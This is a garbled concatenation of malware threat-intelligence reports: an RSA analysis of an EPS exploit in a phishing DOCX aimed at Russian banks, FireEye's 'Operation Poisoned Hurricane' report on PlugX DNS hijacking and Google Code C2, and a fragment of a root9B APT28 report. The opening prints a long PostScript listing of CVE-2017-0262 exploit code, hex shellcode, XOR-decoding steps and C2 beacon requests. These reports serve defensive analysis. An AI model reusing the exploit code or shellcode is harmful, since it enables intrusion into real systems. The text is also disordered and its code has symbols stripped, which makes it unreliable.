6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 def 017d71681f3128450e343d415a3b374e1e3b314e0e7d6f104a7d2d431b313b4615332a0009382a4615332a001d3131421b313a491 9297e421f3a374e5a721f11497d66104a6d6e105a393b465a721f11487d1f11497d6f165a343a490c7d6f001b393a001e383800551c660 0017d71614f697e45023e36001e383800551c6c165a382643127d3a451c7d7161496a7e61486b7e4c1f333954127d3a451c7d71614f6a7e 614f697e4c1f333954127d3a451c7d71614e6c7e124f6b7e441f3b7e0f3b6c6f003b6e69003b696f001339375[]0077d7e00 quit 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 Myheartisjusttoodarktocare Icantdestroywhatisntthere 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 A4  6b61737065722d7069646f72206b61 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 A3 6b61737065722d7069646f72206b61 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 exec 6b61737065722d7069646f72206b61 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 showpage quit Step 4.
Decoding the payload Using the multibyte XOR Key (7a5d5e20), the payload can be decoded by XORing each byte of the payload with its (position  4) in the XOR key.
For example, position 0 in the payload is XORd against 0x7a, position 1 is XORd against 0x5d, position 2 is XORd against 0x5e, position 3 is XORd against 0x20.
Then the cycle repeats for subsequent payload bytes.
Code similar to whats pasted below would decode it (acBuffer is payload, acKeys is XOR key).
for (int ctr  0 ctr  sizeof(acPayload) - 1 ctr) printf(c, acPayload[ctr]  (acKeys[(ctr  4)]))  This results in the decoded payload snippet pasted below.
Highlighted is most likely an encoded payload used in the next stage.
Also highlighted below are Windows DLL and function artifacts indicating maliciousness.
/Helvetica findfont 100 scalefont setfont globaldict begin /A13 800000 def /A12 A13 16 idiv 1 add def /A8  /A54 exch def /A26 exch def /A37 A26 length def /A57 A54 length def /A41 256 def /A11 A37 A41 idiv def  /A11 A11 1 sub def A11 0 lt exit  if A26 A11 A41 mul A54 putinterval  loop A26  bind def /A61  dup -16 bitshift /A43 exch def 65535 and /A34 exch def dup -16 bitshift /A22 exch def 65535 and dup /A63 exch def A34 sub 65535 and A22 A43 sub A63 A34 sub 0 lt  1   0  ifelse sub 16 bitshift or  bind def /A60  dup -16 bitshift /A43 exch def 65535 and /A34 exch def dup -16 bitshift /A22 exch def 65535 and dup /A59 exch def A34 add 65535 and A22 A43 add A59 A34 add -16 bitshift add 16 bitshift or  bind def /A17  /A46 exch def A18 A46 get A18 A46 1 A60 get 8 bitshift A60 A18 A46 2 A60 get 16 bitshift A60 A18 A46 3 A60 get 24 bitshift A60  bind def /A2  /A45 exch def /A20 exch def A18 A20 A45 255 and put A18 A20 1 A60 A45 -8 bitshift 255 and put A18 A20 2 A60 A45 -16 bitshift 255 and put A18 A20 3 A60 A45 -24 bitshift 255 and put  bind def /A47  A18 exch get  bind def /A29 2147418112 and /A56 exch def  A18 A56 get 77 eq  A18 A56 1 A60 get 90 eq  A56 60 A60 A17 dup 512 lt  A56 A60 dup A47 80 eq  1 A60 A47 69 eq  exit  if   pop  ifelse   pop ifelse  if  if /A56 A56 65536 sub def  loop A56  bind def /A51  /A33 exch def /A38 exch def /A44 A38 dup 60 A60 A17 A60 def A18 A44 25 A60 get dup 01 eq  pop /A62 A38 A44 128 A60 A17 A60 def /A32 A44 132 A60 A17 def   02 eq  /A62 A38 A44 144 A60 A17 A60 def /A32 A44 148 A60 A17 def  if  ifelse 0 0 20 A32 1 A61  /A49 exch def /A50 A62 A49 A60 12 A60 A17 def A50 0 eq  quit  if A18 A38 A50 A60 14 getinterval A33 search  length 0 eq  pop pop pop A62 A49 A60 exit  if pop  if pop  for  bind def /A40  /A27 exch def /A23 exch def /A53 A23 A27 A51 def A53 16 A60 A17 A23 A60 A17 A29  bind def /A35  /A42 exch def /A30 exch def /A58 exch def /A39 A58 A30 A51 def /A25 A39 A17 A58 A60 def /A21 0 def  /A24 6/9 A25 A21 A60 A17 def A24 0 eq  0 exit  if A18 A58 A24 A60 50 getinterval A42 search  length 2 eq  pop pop A39 16 A60 A17 A58 A60 A21 A60 A17 exit  if pop  if pop /A21 A21 4 A60 def  loop  bind def /A31 589567 string 00d0800d30d0800d000000000200000010d0800d020000003cd0800d0005000000000000000000005cd0800d00000300000000000000000020d0800d3cd0800d6cd0800d00000000f0ffff7f50d0800d00000000f1ffff7f A8 def 500 A31 589567 string copy pop repeat 1 array 226545696 forall /A19 exch def  /A18 exch def /A16 A12 array def A19 1 A16 put /A9 226545696 56 add A17 A17 def A9 /A36 exch A17 A29 def /A10 A36 4096 A60 def A9 /A68 exch 36 A60 A17 A17 40 A60 A17 def /A7 A18 A10 458752 getinterval def /A4  /A64 exch def A7 A64 search  length A10 A60 exch pop exch pop   quit  ifelse  bind def /A1  A7 50 45 search  length A10 A60 exch pop exch pop   quit  ifelse  bind def /A28 A36 (KERNEL32.dll) A40 def /A3 A18 A28 4096 getinterval def /A1 A3 50 45 search  length A28 A60 exch pop exch pop   quit  ifelse  bind def /A15  A1 64 A60 A17 255 and  bind def A15 6 ne  quit  if /A14 A28 (ntdll.dll) (NtProtectVirtualMemory) A35 def /A67 94 c3 A4 def /A65 A67 1 A60 def /A66 c2 0c A4 def /A55 A68 65536 A60 def /A52 A55 256 A60 def /A48 A55 512 A60 def /A6 A48 def A52 A68 A2 A52 4 A60 A13 A2 A16 0 A55 put A55 A55 4 A60 A2 A55 4 A60 A66 A2 A55 8 A60 A65 A2 A55 20 A60 A67 A2 A55 24 A60 A14 A2 A55 28 A60 A48 A2 A55 32 A60 -1 A2 A55 36 A60 A52 A2 A55 40 A60 A52 4 A60 A2 A55 44 A60 64 A2 A55 48 A60 A52 8 A60 A2 A68 2304 A2 /A5 A16 def A18 A6 558bec83ec3053e8a40200008945fc8b45fc83c030508b4dfc83c11851e80e05000083c40450e81504000083c4088b55fc8982a80000008b45fc83c048508b4dfc83c11851e8e604000083c40450e8ed03000083c4088b55fc8982ac0000008b45fc0590000000508b4dfc83c118518b55fc8b82a8000000ffd0508b4dfc8b91ac000000ffd28b4dfc8981b40000008b55fc83c278528b45fc508b4dfc8b91a8000000ffd2508b45fc [] fd1a498994b7304ea2bf01272c6cc14b66ade7023b2fd8915d1bc7ac4b32bb89803b92980d328ec43b434d1f0620d5249e9eda8b50f1acfd50804566981d4af2b10c79acfa503e83f66c4b8b87e95748bbf6c7b6b39eb83cfe118f7b8ae9e877589c64db6e428832fd5899b413eaf351bc81004c65490f3667fe61eeb1c651c7ffd43188a9c33ce90e59032c103d45babfb945cd49b8111c4ed8fd9e6dca127ce5620c8502566f9b9c157a406b66c20c7b830ef45bbcb4e3ab6f0136a5b7f6e58602a1ff626ab174eb2cd98ca6b5dcada7fbc84846e53c042b6807505b89eaebca8145dcf30537e94a9244c3fe54a59ccd7c30cfe2def768f54e6d9569546c35b39e920145617f84c3fe20a9d6ddd2982ff661a4b1141571deb4e5666062604c4f4c4b454b588945fc8b45fc5f5e5b8be55dc3 putinterval A5 0 get bytesavailable Of particular in this last snippet is the block with the forall which is the memory corruption routine unique to the known exploit code for CVE-2017-0262, and  as described in ESETs analysis on the subject.
With bit-for-bit copy of CVE-2017-0262 exploit code, we have reasonable confidence that the exploit we are dealing with is in fact CVE-2017-0262.
Step 5.
Second stage payload The second-stage payload (558bec83ec3053e8a40200008945fc8b45fc83c030508b4dfc8 ) appears to be a simple hex-encoded blob (no XOR decoding needed).
Converting it from hex to binary and running the UNIX strings command on it yields the following interesting artifacts that hint what the next stage will be QSVW ntdll.dll kernel32.dll LoadLibraryA GetProcAddress NtAllocateVirtualMemory NtProtectVirtualMemory GetCurrentProcess QSVW fff HJON rkw ijxip7uu UvxUpkxkX mIkvzXk pm_pu KmuPwpmLwpzvJmkpw m\wopkvwtwmOxkpx Mqkx mIkvzjjPtx_puWxtX Nkpm 8Mqpj9ikvkxt9z-wwvm99klw9pw9])J9tv ,Kpzqg 7mam Y7xmx 7kjkz jZp zjt  7/9 https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fwww.welivesecurity.com2F20172F052F092Fsednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy2F https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fnvd.nist.gov2Fvuln2Fdetail2FCVE-2017-0262 Command and Control The malware performs calls back to 137.74.224[.
]142, at five second intervals (Figure 6).
Figure 6 Malware C2 in Wireshark, courtesy VXStream The destination hosts offers an HTTP 200 response and false.
GET /z/get.php?namec3857e72 HTTP/1.1 Host: 137.74.224.142 HTTP/1.1 200 OK Date: Thu, 10 Aug 2017 06:59:01 GMT Server: Apache/2.4.10 (Debian) Content-Length: 5 Content-Type: text/html charsetUTF-8 False We believe that the actors would not invoke remote control unless they had ruled out nosy researchers.
Based on Google searches identifying the C2 IP address ( 137.74.224[.
]142) as an established Minecraft (multiplayer game) server, we suspect it is possible that the host has been compromised by the perpetrators and is being used without the permission of the owner.
Other previous URL resolutions may be associated with prior customers of the virtual private server (Figure 7).
Figure 7 Historic DNS resolutions for C2 IP address, courtesy PassiveTotal During the course of this research we found some similarities in look and feel of this campaign (and its potential attribution) with past FirstWatch posts in Attacking a POS Supply Chain part-1 and  CHTHONIC and DIMNIE Campaign Targets Russia 8-2-2017.
8/9 https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fcommunity.riskiq.com2Fsearch2F137.74.224.142 https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fcommunity.riskiq.com2Fsearch2F137.74.224.142 https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fblogs.rsa.com2Fattacking-a-pos-supply-chain-part-12F https://community.rsa.com/community/products/netwitness/blog/2017/08/04/targeted-malspam-delivers-chthonic-and-dimnie-8-2-2017 Thanks to Kent Backman, Kevin.
Douglas2rsa.com, and Christopher Elisan for all their contributions to this research.
Appendix Md5 hashes of EPS exploit docx with C2 of 137.74.224[.
]142 0c718531890dc54ad68ee33ed349b839 9c7e70f0369215004403b1b289111099 e589ae71722ac452a7b6dd657f31c060 68e190efe7a5c6f1b88f866fc1dc5b88 630db8d3e0cb939508910bd5c93e09fe c43f1716d6dbb243f0b8cd92944a04bd df0f8fb172ee663f6f190b0b01acb7bf ed74331131da5ac4e8b8a1c818373031 e8ea2ce5050b5c038e3de727e266705c 5df8067a6fcb6c45c3b5c14adb944806 104913aa3bd6d06677c622dfd45b6c6d 00b470090cc3cdb30128c9460d9441f8 f8ce877622f7675c12cda38389511f57 7c80fb8ba6cf094e709b2d9010f972ba cfc0b41a7cde01333f10d48e9997d293 69de4a5060671ce36d4b6cdb7ca750ce 18c29bc2bd0c8baa9ea7399c5822e9f2 3be61ecba597022dc2dbec4efeb57608 b57dff91eeb527d9b858fcec2fa5c27c 1bb8eec542cfafcb131cda4ace4b7584 4c1bc95dd648d9b4d1363da2bad0e172 d9a5834bde6e65065dc82b36ead45ca5 7743e239c6e4b3912c5ccba04b7a287c MD5 hash of EPS exploit with C2 of 158.69.218[.
]119 57f51443a8d6b8882b0c6afbd368e40e 9/9 https://community.rsa.com/people/Gl8LOTl4A2rCbPZkifuse3cHH75XbzVWfnhIYrQRH4A mailto:Kevin.
Douglas2rsa.com https://community.rsa.com/people/eljiuOGik1LMVgyOmpJffeA3CdD1U3ruX0YyuZNcnJY Russian Bank Offices Hit with Broad Phishing Wave Target: multiple bank offices in Russia An exploit in someone elses wrapper?
Which exploit is this?
Step 1.
Unzipping the sample DOCX file, reveals the following embedded EPS Image file Step 2.Examining the app.xml file, we can see a suspicious URL artifact Step 3.
Examining the image1.eps file, we can see: Step 4.
Decoding the payload Step 5.
Second stage payload Command and Control Appendix
Operation Poisoned Hurricane Introduction Our worldwide sensor network provides researchers at FireEye Labs with unique opportunities to detect innovative tactics employed by malicious actors and protects our clients from these tactics.
We recently uncovered a coordinated campaign targeting Internet infrastructure providers, a media organization, a financial services company, and an Asian government organization.
The actor responsible for this campaign utilized legitimate digital certificates to sign their tools and employed innovative techniques to cloak their command and control traffic.
Hurricane Electric Redirection In March of 2014, we detected Kaba (aka PlugX or SOGU) callback traffic to legitimate domains and IP addresses.
Our initial conclusion was that this traffic was the result of malicious actors sleeping their implants, by pointing their command and control domains at legitimate IP addresses.
As this is a popular technique, we did not think much of this traffic at the time.
Further analysis revealed that the HTTP headers of the traffic in question contained a Host: entry for legitimate domains.
As we have previously observed malware families that forge their HTTP headers to include legitimate domains in callback traffic, we concluded that the malware in this case was configured in the same way.
An example of the observed traffic is as follows: POST /C542BB084F927229348B2A34 HTTP/1.1 Accept: / CG100: 0 CG103: 0 CG107: 61456 CG108: 1 User-Agent: Mozilla/4.0 (compatible MSIE 9.0 Windows NT 6.1 SLCC2 .NET CLR 2.0.50727 .NET CLR 3.5.30729 .NET CLR 3.0.30729 Media Center PC 6.0 .NET4.0C) Host: www.adobe.com Content-Length: 0 Cache-Control: no-cache As we continued to see this odd traffic throughout the summer we began a search for malware samples responsible for this behavior.
Via this research, we found a malware sample that we believe was responsible for at least some of the strange traffic that we had observed.
The identified sample had the following properties: MD5: 52d2d1ab9b84303a585fb81e927b9e01 Size: 180296 Compile Time: 2013-10-15 05:17:37 Import Hash: b29eb78c7ec3f0e89bdd79e3f027c029 .rdata: d7b6e412ba892e9751f845432625bbb0 .text: ed0dd6825e3536d878f39009a7777edc .data: 1bc25d2f0f3123bedea254ea7446dd50 .rsrc: 91484aa628cc64dc8eba867a8493c859 .reloc: f1df8fa77b5abb94563d5d97e5ccb8e2 RT_VERSION: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9 This sample was signed with a legitimate digital certificate from the Police Mutual Aid Association.
This certificate has a serial number of 06 55 69 a3 e2 61 40 91 28 a4 0a ff a9 0d 6d 10.
Analysis of this Kaba sample revealed that it was configured to directly connect to both www.adobe.com and update.adobe.com.
Obviously, this configuration does not make a lot of sense, as the actor would not be able to control their implants from anywhere on the Internet since they did not have direct control over these domains  unless the attackers were able to re-route traffic destined for these domains from specific victims.
Indeed, further analysis of this Kaba variant revealed that it was also configured to use specific DNS resolvers.
This sample was configured to resolve DNS lookups via Hurricane Electrics nameservers of 216.218.130.2, 216.218.131.2, 216.218.132.2 and 216.66.1.2.
We found this interesting, so we investigated how these Hurricane Electrics nameservers were configured.
Subsequently, we found that anyone could register for a free account with Hurricane Electrics hosted DNS service.
Via this service, anyone with an account was able to register a zone and create A records for the registered zone and point those A records to any IP address they so desired.
The dangerous aspect of this service is that anyone was able to hijack legitimate domains such as adobe.com.
Although these nameservers are not recursors and were not designed to be queried directly by end users, they were returning results if queried directly for domains that were configured via Hurricane Electrics public DNS service.
Furthermore, Hurricane Electric did not check if zones created by their users were already been registered or are otherwise legitimately owned by other parties.
As we continued this research, we identified 21 legitimate fully qualified domain names that had been hijacked via this technique by at least one APT actor.
In addition to the adobe.com domain mentioned above, another one of the poisoned domains is www.outlook.com.
A lookup of this domain via Googles DNS resolvers returns expected results: dig short 8.8.8.8 www.outlook.com www.outlook.com.glbdns2.microsoft.com.
www-nameast.outlook.com.
157.56.240.246 157.56.236.102 157.56.240.214 157.56.241.102 157.56.232.182 157.56.241.118 157.56.240.22 A quick lookup of these addresses reveal that Microsoft owns them: 157.56.240.246  8075  157.56.0.0/16  MICROSOFT-CORP-MSN-A  US MICROSOFT.COM  MICROSOFT CORPORATION 157.56.236.102  8075  157.56.0.0/16  MICROSOFT-CORP-MSN-A  US MICROSOFT.COM  MICROSOFT CORPORATION 157.56.240.214  8075  157.56.0.0/16  MICROSOFT-CORP-MSN-A  US MICROSOFT.COM  MICROSOFT CORPORATION 157.56.241.102  8075  157.56.0.0/16  MICROSOFT-CORP-MSN-A  US MICROSOFT.COM  MICROSOFT CORPORATION 157.56.232.182  8075  157.56.0.0/16  MICROSOFT-CORP-MSN-A  US MICROSOFT.COM  MICROSOFT CORPORATION 157.56.241.118  8075  157.56.0.0/16  MICROSOFT-CORP-MSN-A  US MICROSOFT.COM  MICROSOFT CORPORATION 157.56.240.22  8075  157.56.0.0/16  MICROSOFT-CORP-MSN-A  US MICROSOFT.COM  MICROSOFT CORPORATION However, as recently as August 4, 2014 a lookup of the same www.outlook.com domain via Hurricane Electrics resolvers returned entirely different results[1]: dig short 216.218.130.2 www.outlook.com 59.125.42.167 dig short 216.218.131.2 www.outlook.com 59.125.42.167 dig short 216.218.132.2 www.outlook.com 59.125.42.167 dig short 216.66.1.2 www.outlook.com 59.125.42.167 whois -h asn.shadowserver.org origin 59.125.42.167 3462  59.125.0.0/17  HINET  TW  HINET.NET DATA COMMUNICATION BUSINESS GROUP Passive DNS research on the 59.125.42.167 IP address revealed that multiple APT actors have previously used this IP address.
IP Address Domain First Seen Last Seen 59.125.42.167 ml65556.gicp[.
]net 2014-06-23 2014-07-23 59.125.42.167 wf.edsplan[.
]com 2014-05-12 2014-05-14 59.125.42.167 gl.edsplan[.
]com 2014-05-12 2014-05-14 59.125.42.167 unix.edsplan[.
]com 2014-05-12 2014-05-14 Additional researched uncovered more Kaba samples that were configured to leverage Hurricane Electrics public DNS resolvers.
Another sample has the following properties: MD5: eae0391e92a913e757ac78b14a6f079f Size: 184304 Compile Time: 2013-11-26 17:39:25 Import Hash: f749528b1db6fe5aee61970813c7bc18 Text Entry: 558bec83ec1056ff7508ff1518b00010 .rdata: 747abda5b3cd3494f056ab4345a909e4 .text: 475c20b8abc972710941ad6659492047 .data: d461f8f7b3f35b7c6855add6ae59e806 .rsrc: b195f57cb5e605cb719469492d9fe717 .reloc: d6b23cb71f214d33e56cf8f6a10c0c10 RT_VERSION: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9 This sample is signed with a recently expired digital certificate from MOCOMSYS INC.
This certificate has a serial number of 03 e5 a0 10 b0 5c 92 87 f8 23 c2 58 5f 54 7b 80.
This sample used Hurricane Electrics public DNS resolvers to route traffic to the hijacked domains of www.adobe.com and update.adobe.com.
We also noted that this sample was configured to connect directly to 59.125.42.168  one IP address away from the IP that received traffic from the hijacked www.outlook.com domain.
Passive DNS research revealed that this IP hosted the same set of known APT domains listed above: IP Address Domain First Seen Last Seen 59.125.42.168 ml65556.gicp[.
]net 2014-04-23 2014-07-24 59.125.42.168 wf.edsplan[.
]com 2014-04-23 2014-05-14 59.125.42.168 gl.edsplan[.
]com 2014-05-04 2014-05-14 59.125.42.168 unix.edsplan[.
]com 2014-05-04 2014-05-14 While this problem does not directly impact users of www.adobe.com, www.outlook.com, or users of the other affected domains, it should not be dismissed as inconsequential.
Actors that adopt this tactic and obfuscate the destination of their traffic through localized DNS hijacks can significantly complicate the job of network defenders.
Via our sensor network, we observed the actor responsible for this activity conducting a focused campaign.
We observed this actor target: Multiple Internet Infrastructure Service Providers in Asia and the United States A Media Organization based in the United States A financial institution based in Asia An Asian government organization Google Code Command and Control Furthermore, we also discovered this same actor conducting a parallel campaign that leveraged Google Code for command and control.
On August 1, 2014 we observed a malicious self-extracting executable (aka sfxrar) file downloaded from 211.125.81.203.
This file had the following properties: MD5: 17bc9d2a640da75db6cbb66e5898feb1 Size: 282800 bytes A valid certificate from QTI INTERNATIONAL INC was used to sign this sfxrar.
This certificate had a serial number of 2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9.
The sfxrar contained the following files: File Size MD5 msi.dll 11680 029c8f56dd89ceeaf928c3148d13eba7 msi.dll.dat 115218 62834d2c967003ba5284663b61ac85b5 setup.exe 34424 d00b3169f45e74bb22a1cd684341b14a Setup.exe is a legitimate executable from Kaspersky used to load the Kaba (aka PlugX) files  msi.dll and msi.dll.dat.
These Kaba files are configured to connect to Google Code  specifically code.google.com/p/udom/.
On August 1, this Google Code project contained the encoded command DZKSGAAALLBACDCDCDOCBDCDCDOCCDADIDOCBDADDZJS.
[2] These Kaba files are configured to connect to Google Code  specifically code.google.com/p/udom/.
On August 1, this Google Code project contained the encoded command DZKSGAAALLBACDCDCDOCBDCDCDOCCDADIDOCBDADDZJS.
def NewPlugx_C2_redir_decode(s): rvalue for x in range(0, len(s), 2): tmp0  (ord(s[x1])  041)  4 rvalue  chr(ord(s[x])  tmp0  041) return rvalue The command DZKSGAAALLBACDCDCDOCBDCDCDOCCDADIDOCBDADDZJS decodes to 222.122.208.10.
In a live environment, the Kaba implant would then connect to this IP address via UDP.
Further analysis of project at code.google.com/p/udom/ revealed the project owner, 0x916ftb691u, created a number of other projects.
We decoded the commands hosted at these linked projects and found that they issued the following decoded commands: 112.175.143.22 59.125.42.167 153.121.57.213 61.82.71.10 202.181.133.169 http://www.fireeye.com/blog/wp-content/uploads/2014/08/google-code17.png 61.78.32.139 61.78.32.148 202.181.133.216 59.125.42.168 119.205.217.104 222.122.208.10 112.175.143.16 222.122.208.9 27.122.13.204 It is likely that other yet to be discovered Kaba variants are configured to connect to these related Google Code projects and then redirect to this list of IP addresses.
Passive DNS analysis of these IP addresses revealed connections to the following known malicious infrastructure: IP Address Domain First Seen Last Seen 27.122.13.204 bq.cppcp[.
]com 2014-03-21 2014-05-08 112.175.143.16 uj.verisignss[.
]com 2013-06-30 2013-08-13 112.175.143.16 www.verifyss[.
]com 2013-06-30 2013-07-22 112.175.143.16 uj.byonds[.
]com 2013-06-24 2013-07-22 112.175.143.16 uj.verifyss[.
]com 2013-06-30 2013-07-22 59.125.42.168 ml65556.gicp[.
]net 2014-04-23 2014-07-24 59.125.42.168 wf.edsplan[.
]com 2014-04-23 2014-05-14 59.125.42.168 gl.edsplan[.
]com 2014-05-04 2014-05-14 59.125.42.168 unix.edsplan[.
]com 2014-05-04 2014-05-14 59.125.42.167 ml65556.gicp[.
]net 2014-06-23 2014-07-23 59.125.42.167 wf.edsplan[.
]com 2014-05-12 2014-05-14 59.125.42.167 gl.edsplan[.
]com 2014-05-12 2014-05-14 59.125.42.167 unix.edsplan[.
]com 2014-05-12 2014-05-14 61.78.32.148 door.nexoncorp[.
]com 2014-04-30 2014-06-22 61.78.32.148 verisignss[.
]com 2014-04-30 2014-06-22 61.78.32.148 th.nexoncorp[.
]com 2014-04-30 2014-06-22 61.78.32.148 tw.verisignss[.
]com 2014-04-30 2014-06-22 61.78.32.148 sd.nexoncorp[.
]com 2014-04-30 2014-06-22 61.78.32.148 mail.nexoncorp[.
]com 2014-04-30 2014-06-22 112.175.143.22 door.nexoncorp[.
]com 2014-04-01 2014-04-30 112.175.143.22 th.nexoncorp[.
]com 2014-04-01 2014-04-30 112.175.143.22 sd.nexoncorp[.
]com 2014-04-01 2014-04-30 112.175.143.22 mail.nexoncorp[.
]com 2014-04-01 2014-04-30 112.175.143.22 verisignss[.
]com 2013-12-29 2014-04-30 112.175.143.22 tw.verisignss[.
]com 2013-12-29 2014-04-30 Relationships Between Campaigns As mentioned above the Kaba variant eae0391e92a913e757ac78b14a6f079f shared a common import hash of f749528b1db6fe5aee61970813c7bc18 with many of the samples listed in this post.
This samples was to use Hurricane Electrics nameservers as well as connect directly to the IP address 59.125.42.168.
Note that we identified the same C2 IP 59.125.42.168 via our analysis of the malicious Google Code projects.
Specifically, the Google Project at code.google.com/p/tempzz/, which is linked to the project at code.google.com/p/udom/, issued an encoded command that decoded to 59.125.42.168.
We also identified another related Kaba variant that connected to code.google.com/p/updata-server.
This variant had the following properties: MD5: 50af349c69ae4dec74bc41c581b82459 Size: 180600 bytes Compile Time: 2014-04-01 03:28:31 Import Hash: f749528b1db6fe5aee61970813c7bc18 .rdata: 103beeefae47caa0a5265541437b03a1 .text: e7c4c2445e76bac81125b2a47384d83f .data: 5216d6e6834913c6cc75f40c8f70cff8 .rsrc: b195f57cb5e605cb719469492d9fe717 .reloc: f7d9d69b8d36fee5a63f78cbd3238414 RT_VERSION: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9 This sample was signed with a valid digital certificate from PIXELPLUS CO.,
LTD and had a serial number of 0f e7 df 6c 4b 9a 33 b8 3d 04 e2 3e 98 a7 7c ce.
In addition to sharing the same Import hash of f749528b1db6fe5aee61970813c7bc18 seen in other samples listed throughout this post, 50af349c69ae4dec74bc41c581b82459 contained a RT_VERSION resource of 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9.
This same RT_VERSION was used in a number of other related samples including: MD5 C2 Uses Hurricane Electric 7e6c8992026a79c080f88103f6a69d2c h.cppcp[.]comu.cppcp[.
]com NO 52d2d1ab9b84303a585fb81e927b9e01 www.adobe[.]comupdate.adobe[.
]com YES 787c6cf3cb18feeabe4227ec6b19db01 ns.lovechapelumc[.]orgns1.lovechapelumc[.
]org NO Conclusion These coordinated campaigns demonstrate that APT actors are determined to continue operations.
As computer network defenders increase their capabilities to identify and block these campaigns by deploying more advanced detection technologies, threat actors will continue to adopt creative evasion techniques.
We observed the following evasion techniques in these campaigns: The use of legitimate digital certificates to sign malware The use of Hurricane Electrics public DNS resolvers to redirect command and control traffic The use of Google Code to obfuscate the location of command and control servers While none of these techniques are necessarily new, in combination, they are certainly both creative and have been observed to be effective.
Although the resultant C2 traffic can be successfully detected and tracked, the fact that the malware appears to beacon to legitimate domains may lull defenders into a false sense of security.
Network defenders should continue to study the evolution of advanced threat actors, as these adversaries will continue to evolve in pursuit of their designated objectives.
Related MD5s 17bc9d2a640da75db6cbb66e5898feb1 eae0391e92a913e757ac78b14a6f079f 434b539489c588db90574a64f9ce781f 7e6c8992026a79c080f88103f6a69d2c 52d2d1ab9b84303a585fb81e927b9e01 787c6cf3cb18feeabe4227ec6b19db01 50af349c69ae4dec74bc41c581b82459 d51050cf98cc723f0173d1c058c12721 Digital Certificates MOCOMSYS INC, (03 e5 a0 10 b0 5c 92 87 f8 23 c2 58 5f 54 7b 80) PIXELPLUS CO.,
LTD., (
0f e7 df 6c 4b 9a 33 b8 3d 04 e2 3e 98 a7 7c ce) http://www.fireeye.com/blog/wp-content/uploads/2014/08/20140803-Sogu-TTPs.png Police Mutual Aid Association (06 55 69 a3 e2 61 40 91 28 a4 0a ff a9 0d 6d 10) QTI INTERNATIONAL INC (2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9) Ssangyong Motor Co. (1D 2B C8 46 D1 00 D8 FB 94 FA EA 4B 7B 5F D8 94) jtc (72 B4 F5 66 7F 69 F5 43 21 A9 40 09 97 4C CC F8) Footnotes [1] As of August 4, 2014 Hurricane Electric was no longer returning answers for www.outlook.com or the other affected domains.
[
2] This same encoding algorithm was previously described by Cassidian at http://blog.cassidiancybersecurity.com/post/2014/01/plugx-some-uncovered-points.html This entry was posted in Targeted Attack, Threat Research and tagged advanced attack, APT, evasion techniques, kana, plugx by Ned Moran, Joshua Homan and Mike Scott.
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http://www.fireeye.com/blog/category/technical/targeted-attack http://www.fireeye.com/blog/category/technical http://www.fireeye.com/blog/tag/advanced-attack http://www.fireeye.com/blog/tag/apt http://www.fireeye.com/blog/tag/evasion-techniques http://www.fireeye.com/blog/tag/kana http://www.fireeye.com/blog/tag/plugx http://www.fireeye.com/blog/author/ned-moran http://www.fireeye.com/blog/author/joshua-homan http://www.fireeye.com/blog/author/mscott http://www.fireeye.com/blog/technical/targeted-attack/2014/08/operation-poisoned-hurricane.html
APT-28 1 root9b.com APT28 Targets Financial markets: zero day hashes released APT-28 2 root9b.com APT 28 In the last year alone Russian hackers have reportedly stolen up to 900 million dollars from banks around the world.
May 10, 2015 Cybersecurity experts are increasingly concerned about the threat posed by Russian hacking groups.
Besides well-known events such as the attacks against Estonia, Georgia, and Ukraine recent headlines have seen Russian hacking syndicates credited with targeting NATO officials at conferences, stealing hundreds of millions from banks, and successfully penetrating the White House unclassified computer network.
The increase in cyber-exploits is also accompanied by a much more aggressive Russian foreign policy, which has seen them invade Ukraine and literally seize control of sovereign territory in Crimea.
So it should not surprise anyone that just as nuclear capable Russian bombers are increasingly penetrating foreign airspace, their cyber-warriors appear to be ramping up their intrusions as well.
But this time, perhaps for the first time, root9B has managed to find where they were hiding and identified effective defenses against their intended attacks.
This is what happened in late April and early May of this year.
Our firm of cybersecurity experts, staffed by veterans from the United States Department of Defense, identified suspicious activity within one of our clients networks a threat which on closer inspection bore the unique signature of a group of Russian hackers well-known in the cyber-security industry.
As Cyber Threat analysts continued to follow the indicators, they uncovered a global attack in the making, and took steps to protect not only our clients, but other identified victims as well.
Sofacy, Sednit, Sourface, APT-28, and a host of other names are all used to describe this particularly prolific and superbly talented group of Russian hackers, which has strongly suspected ties to Russian intelligence services.
In the last year alone Russian hackers have reportedly stolen up to 900 million dollars from banks around the world.
Over the past three to five years they have built the largest botnets ever discovered, and stolen the log-in and password credentials to literally root9B: The Threat Defiance Report targets  Financial  Markets R O O T 9 B  R E L E A S E S  Z E R O  D A Y  H A S H E S APT-28 3 root9b.com May 10, 2015 root9B: The Threat Defiance Report Sofacys unique signatures is a perfect cover behind which the Russian Government prefers to remain.
tens of millions of online accounts.
